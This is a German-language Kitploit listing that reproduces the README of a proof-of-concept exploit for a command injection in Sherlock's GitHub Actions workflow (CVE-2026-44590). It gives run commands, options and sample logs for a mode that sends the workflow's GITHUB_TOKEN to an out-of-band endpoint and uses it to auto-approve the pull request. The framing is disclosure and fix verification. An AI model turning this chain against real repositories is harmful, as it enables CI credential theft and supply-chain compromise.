Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-44590 — Proof-of-Concept-Exploit für CVE-2026-44590, eine Command Injection im GitHub-Actions-Workflow von Sherlock, die RCE und die Exfiltration von GITHUB_TOKEN über pull_request_target ermöglicht. | Kitploit
Tools/GitHubGitHub/astaruf/cve-2026-44590
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLieferkettensicherheitLernen & BildungRed Teaming
GitHubastaruf/cve-2026-44590

CVE-2026-44590

Proof-of-Concept-Exploit für CVE-2026-44590, eine Command Injection im GitHub-Actions-Workflow von Sherlock, die RCE und die Exfiltration von GITHUB_TOKEN über pull_request_target ermöglicht.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-44590 - sherlock-project/sherlock CI - RCE via pull_request_target Injection → Supply Chain Compromise

Entdeckt und gemeldet von: Astaruf

Vollständiger Bericht: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/

Upstream-Advisory: sherlock-project/sherlock GHSA advisory

NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-44590

CVE-Datensatz: https://www.cve.org/CVERecord?id=CVE-2026-44590


Dieses Repository enthält den Proof-of-Concept für CVE-2026-44590, eine Command Injection im GitHub-Actions-Workflow validate_modified_targets.yml von sherlock-project/sherlock. Jeder GitHub-Benutzer kann einen Pull Request eröffnen, der die Ausführung beliebiger Befehle im privilegierten CI-Kontext auslöst, das GITHUB_TOKEN des Workflows exfiltriert und den bösartigen PR automatisch genehmigt – alles ohne menschliche Interaktion.

Für den vollständigen technischen Bericht (Root-Cause-Analyse, Exploitation-Walkthrough, Auswirkungsanalyse und ein Kapitel darüber, was ein Angreifer in realen Szenarien tun könnte) siehe den Blogbeitrag:

nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590

Diese README konzentriert sich ausschließlich auf das PoC-Skript: was es tut, wie man es ausführt und was man erwarten kann.

Über poc.py

poc.py ist ein einzelnes, eigenständiges Python-Skript (nur stdlib), das die gesamte Angriffskette Ende-zu-Ende automatisiert:

  • forkt sherlock-project/sherlock, falls nötig
  • setzt (optional) den master-Zweig des Forks auf den Pre-Fix-Commit zurück, sodass der Fehler auch nach dem Upstream-Fix reproduziert werden kann
  • startet einen OAST-Listener (interactsh-client)
  • erstellt und pusht einen bösartigen PR-Zweig
  • löst den verwundbaren Workflow aus
  • extrahiert das GITHUB_TOKEN aus dem OAST-Callback (im --mode exfil) und dekodiert es im Klartext
  • verwendet das gestohlene Token, um denselben PR über die GitHub-API automatisch zu genehmigen
  • gibt ein klares Endurteil aus: VULNERABILITY CONFIRMED oder FIX VERIFIED
  • räumt nach sich selbst auf (löscht den PoC-Zweig, beendet interactsh-client)

Es gibt genau einen manuellen Schritt (Klicken auf das „I understand my workflows"-Banner von GitHub beim ersten Mal pro Fork), da keine öffentliche API existiert, um es zu schließen. Das Skript erkennt diesen Fall und pausiert mit einer klaren Eingabeaufforderung.

Schnellstart

Überprüfen, ob der Upstream-Fix funktioniert (Standardverhalten)

root@kitploit:~
python3 poc.py --fork-owner <dein-github-benutzername>

Forkt das Repository (falls nötig), synchronisiert mit Upstream (gepatchter master), eröffnet einen bösartigen PR, führt die Angriffskette aus und meldet FIX VERIFIED, weil der gepatchte Workflow die Payload blockiert, bevor irgendein Shell-Befehl ausgeführt wird.

Die ursprüngliche Schwachstelle reproduzieren

root@kitploit:~
python3 poc.py --fork-owner <dein-github-benutzername> --vulnerable

Wie oben, setzt aber zuerst den master-Zweig des Forks auf den Pre-Fix-Commit (271608fb) zurück. Erwartetes Urteil: VULNERABILITY CONFIRMED.

Die volle Auswirkung demonstrieren (Token-Exfiltration + PR-Autogenehmigung)

root@kitploit:~
python3 poc.py --fork-owner <dein-github-benutzername> --vulnerable --mode exfil

Die Exfil-Payload gibt git config --list an den OAST aus und schläft 180 Sekunden, um den Workflow (und damit das GITHUB_TOKEN) am Leben zu halten. Während der Workflow schläft, extrahiert das Skript das Token aus dem OAST-Log, dekodiert es und ruft sofort die GitHub-API auf, um den PR zu genehmigen. Der PR wird am Ende von github-actions[bot] genehmigt.

Anforderungen

  • Python 3.8+ (keine Drittanbieter-Abhängigkeiten, nur stdlib)
  • gh (GitHub CLI), authentifiziert:
    root@kitploit:~
    gh auth login
    
  • git
  • interactsh-client (optional, aber empfohlen). Wenn installiert, startet das Skript ihn automatisch und verifiziert den Callback im Skript:
    root@kitploit:~
    go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
    
    Wenn du lieber deinen eigenen OAST-Endpunkt verwenden möchtest (Burp Collaborator, oast.fun über Web-UI, requestbin usw.), übergib ihn mit --oast-url und der Schritt der automatischen Verifizierung wird übersprungen.

Das Skript benötigt keinen bereits vorhandenen Fork, es erstellt automatisch einen.

Modi

--mode harmless (Standard)

Die Payload ist ein einzelner curl-POST mit einer statischen Bestätigungszeichenfolge. Es werden keine Geheimnisse gelesen, keine API-Aufrufe getätigt, der einzige Nebeneffekt ist der OAST-Callback. Verwende dies, um zu bestätigen, dass die Schwachstelle existiert, ohne irgendeine Anmeldeinformation preiszugeben.

--mode exfil

Die Payload gibt git config --list (das das base64-kodierte GITHUB_TOKEN unter http.https://github.com/.extraheader enthält) an den OAST aus und schläft dann 180 Sekunden. Das Skript führt dann Folgendes aus:

  1. Pollt das OAST-Log, bis der Dump eintrifft.
  2. Extrahiert den base64-Block mit einem Regex.
  3. Dekodiert ihn und gibt die Anmeldeinformation im Klartext aus: x-access-token:ghs_XXXXXXXX....
  4. Entfernt das Präfix x-access-token: und verwendet das rohe Token, um POST /repos/<fork>/pulls/<n>/reviews mit der Standard-Genehmigungs-Payload aufzurufen ({"event":"APPROVE","body":"All checks passed. LGTM!"}).
  5. Der PR erscheint als von github-actions[bot] genehmigt, nicht unterscheidbar von legitimer CI-Automatisierung.

Sobald die Genehmigung aufgezeichnet ist, überspringt das Skript den Rest des 180-Sekunden-Schlafs des Workflows, da die Angriffskette abgeschlossen ist und das Warten auf den Timeout des Runners nichts hinzufügt.

Optionen

FlagBeschreibung
--fork-owner <user>Erforderlich. GitHub-Benutzername, dem der Fork gehört (oder gehören wird)
--fork-name <name>Name des Fork-Repositorys (Standard: sherlock)
--oast-url <url>OAST-Endpunkt, der den Callback empfängt. Wenn weggelassen, startet das Skript automatisch interactsh-client und führt das Urteil im Skript aus
--mode harmless|exfilPayload-Typ (Standard: harmless)
--vulnerableSetzt den master-Zweig des Forks vor der Ausführung zwangsweise auf den Pre-Fix-Commit (271608fb) zurück. Impliziert --no-sync
--no-syncÜberspringt die Synchronisierung des Forks mit Upstream (nützlich beim Testen eines festgepinnten Commits)
--base-branch <name>PR-Zielzweig auf dem Fork (Standard: master)
--keep-branchLöscht den PoC-Zweig nach Abschluss nicht
--no-pollÜberspringt das Polling des Workflow-Runs und beendet nach der PR-Erstellung

Warum der PR auf den Fork abzielt, nicht auf das Upstream-Repository

Absichtlich eröffnet der PoC den PR von einem Zweig auf dem Fork zum master desselben Forks. Er zielt nicht direkt auf sherlock-project/sherlock ab. Dafür gibt es zwei Gründe.

1. Vermeidung der öffentlichen Offenlegung eines Exploits

Ein Pull Request auf einem öffentlichen Repository ist für jeden sichtbar. Der Diff bleibt auch nach dem Schließen des PR indiziert, und die GitHub-Actions-Logs sind über die Web-UI zugänglich. Das Eröffnen eines PR mit einer funktionierenden Command-Injection-Payload auf dem Upstream-Repository würde effektiv einen funktionierenden Exploit veröffentlichen, bevor die Maintainer die Möglichkeit haben, einen Fix auszuliefern. Jeder, der das Repository beobachtet, könnte die Payload kopieren, den OAST-Callback gegen einen bösartigen Endpunkt austauschen und damit das echte GITHUB_TOKEN exfiltrieren.

Der PoC verwendet einen Fork-zu-Fork-PR, um den Exploit aus der öffentlichen Sicht zu halten und dennoch den Fehler Ende-zu-Ende zu demonstrieren.

2. Reproduktion des exakten verwundbaren Verhaltens

Wenn du sherlock-project/sherlock forkt, ist die Workflow-Datei validate_modified_targets.yml im Fork enthalten. Das Eröffnen eines PR, der auf den master des Forks abzielt, löst den Workflow im Kontext des Forks aus, mit einem GITHUB_TOKEN, das für den Fork ausgestellt wurde. Die Mechanik ist identisch mit dem ursprünglichen Angriff:

  • Der pull_request_target-Trigger feuert automatisch
  • Der Workflow läuft im Kontext des Basis-Repositorys (in diesem Fall des Forks)
  • Der Workflow hat Zugriff auf sein eigenes GITHUB_TOKEN
  • actions/checkout schreibt das Token über die Einstellung http.https://github.com/.extraheader in .git/config
  • Die injizierte Payload kann das Token extrahieren oder verwenden

Der einzige Unterschied ist der Schadensradius: Das Token gehört dem Fork, nicht sherlock-project/sherlock. Die Schwachstelle wird reproduziert; die Auswirkung ist eingedämmt.

Der eine manuelle Schritt

GitHub deaktiviert Actions auf frisch erstellten Forks hinter einem UI-Banner:

Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.

Es gibt keine öffentliche API, um dieses Banner zu schließen. Das Skript erkennt diesen Zustand (Fork wurde gerade erstellt ODER hat null historische Workflow-Runs) und pausiert mit einer klaren Eingabeaufforderung:

root@kitploit:~
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser:  https://github.com/<user>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...

Nachdem das Banner einmal auf einem bestimmten Fork angeklickt wurde, wird das Skript bei nachfolgenden Läufen gegen denselben Fork nicht erneut auffordern.

Beispielausgabe (verwundbar, Exfil-Modus)

root@kitploit:~
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork:    youruser/sherlock
10:54:36 [*] Payload mode:   exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done

Beispielausgabe (gepatcht, Exfil-Modus)

root@kitploit:~
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*]   status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================

Haftungsausschluss

Dieses Repository wird nur für Bildungs- und Sicherheitsforschungszwecke veröffentlicht. Die Schwachstelle wurde den Maintainern verantwortungsvoll offengelegt, im Upstream behoben und eine CVE wurde beantragt. Führe diesen PoC nicht gegen Repositorys aus, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast. Der Autor ist nicht für Missbrauch verantwortlich.

Lizenz

MIT

Tool herunterladen